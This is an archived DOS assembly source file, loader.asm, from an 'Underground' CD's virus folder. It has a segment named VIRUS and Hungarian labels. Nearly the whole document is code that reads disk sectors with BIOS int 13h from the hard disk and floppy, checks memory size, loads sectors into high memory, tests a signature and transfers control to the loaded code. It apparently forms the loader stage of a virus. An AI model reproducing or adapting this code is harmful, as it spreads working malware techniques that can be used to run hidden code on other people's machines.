home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / l / loader.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.5 KB  |  111 lines
  1.     PAGE ,132
  2.  
  3. VIRUS    SEGMENT PARA PUBLIC 'CODE'
  4.  
  5.     ASSUME CS:VIRUS,DS:VIRUS
  6.  
  7.     call    gyilk
  8.  
  9.     int    20h
  10.  
  11.     nop
  12.  
  13. gyilk:    push    ax
  14.  
  15.     push    bx
  16.  
  17.     push    cx
  18.  
  19.     push    dx
  20.  
  21.     push    es
  22.  
  23.     push    ds
  24.  
  25.     push    di
  26.  
  27.     push    si
  28.  
  29.     call    cim
  30.  
  31. cim:    pop    bx
  32.  
  33.     mov    si,5aa5h
  34.  
  35.     mov    di,55aah
  36.  
  37.     push    cs
  38.  
  39.     pop    es
  40.  
  41. ujra:    add    bx,1000
  42.  
  43.     cmp    bx,1000
  44.  
  45.     jnc    kilep1
  46.  
  47.     jmp    kilep
  48.  
  49. kilep1:    push    bx
  50.  
  51.     mov    ax,201h
  52.  
  53.     mov    dx,80h
  54.  
  55.     mov    cx,1
  56.  
  57.     int    13h
  58.  
  59.     pop    bx
  60.  
  61.     jnc    tovabb
  62.  
  63.     jmp    kilep
  64.  
  65. tovabb:    cmp    si,0a55ah
  66.  
  67.     jnz    tivbi1
  68.  
  69.     jmp    kilep
  70.  
  71. tivbi1:    mov    ax,cs:word ptr [bx]
  72.  
  73.     cmp    ax,12cdh
  74.  
  75.     jz    kilep
  76.  
  77. tovbi:    push    bx
  78.  
  79.     mov    ax,201h
  80.  
  81.     mov    dx,0h
  82.  
  83.     mov    cx,1
  84.  
  85.     int    13h
  86.  
  87.     pop    bx
  88.  
  89.     jnc    tovabbi
  90.  
  91.     cmp    ah,6
  92.  
  93.     jz    tovbi
  94.  
  95.     jmp    kilep
  96.  
  97. tovabbi: mov    ax,cs
  98.  
  99.     add    ax,1000h
  100.  
  101.     push    bx
  102.  
  103.     push    ax
  104.  
  105.     int    12h
  106.  
  107.     mov    bx,64
  108.  
  109.     mul    bx
  110.  
  111.     sub    ax,1000h
  112.  
  113.     mov    bx,ax
  114.  
  115.     pop    ax
  116.  
  117.     cmp    bx,ax
  118.  
  119.     jnc    oke1
  120.  
  121.     pop    bx
  122.  
  123.     jmp    kilep
  124.  
  125. oke1:    pop    bx
  126.  
  127. oke:    mov    es,ax
  128.  
  129.     mov    ax,cs:[bx+18h]
  130.  
  131.     mov    cx,cs:[bx+1ah]
  132.  
  133.     mul    cx
  134.  
  135.     mov    cx,ax
  136.  
  137.     mov    ax,cs:[bx+13h]
  138.  
  139.     mov    dx,0
  140.  
  141.     div    cx
  142.  
  143.     sub    bx,1000
  144.  
  145.     push    bx
  146.  
  147.     mov    ch,al
  148.  
  149.     mov    cl,1
  150.  
  151.     mov    bx,100h
  152.  
  153.     mov    dx,0
  154.  
  155.     mov    ax,208h
  156.  
  157.     int    13h
  158.  
  159.     pop    bx
  160.  
  161.     jc    kilep
  162.  
  163.     push    bx
  164.  
  165.     mov    bx,100h
  166.  
  167.     mov    ax,es:[bx]
  168.  
  169.     cmp    ax,2452h
  170.  
  171.     pop    bx
  172.  
  173.     jnz    kilep
  174.  
  175.     mov    ax,bx
  176.  
  177.     add    ax,offset kilep-offset cim
  178.  
  179.     push    cs
  180.  
  181.     push    ax
  182.  
  183.     mov    ax,10ah
  184.  
  185.     push    es
  186.  
  187.     push    ax
  188.  
  189.     retf
  190.  
  191. kilep:    pop    si
  192.  
  193.     pop    di
  194.  
  195.     pop    ds
  196.  
  197.     pop    es
  198.  
  199.     pop    dx
  200.  
  201.     pop    cx
  202.  
  203.     pop    bx
  204.  
  205.     pop    ax
  206.  
  207.     ret
  208.  
  209. cime:    dw    0
  210.  
  211. VEG    EQU $
  212.  
  213.  
  214.  
  215. VIRUS    ENDS
  216.  
  217.  
  218.  
  219.     END
  220.  
  221.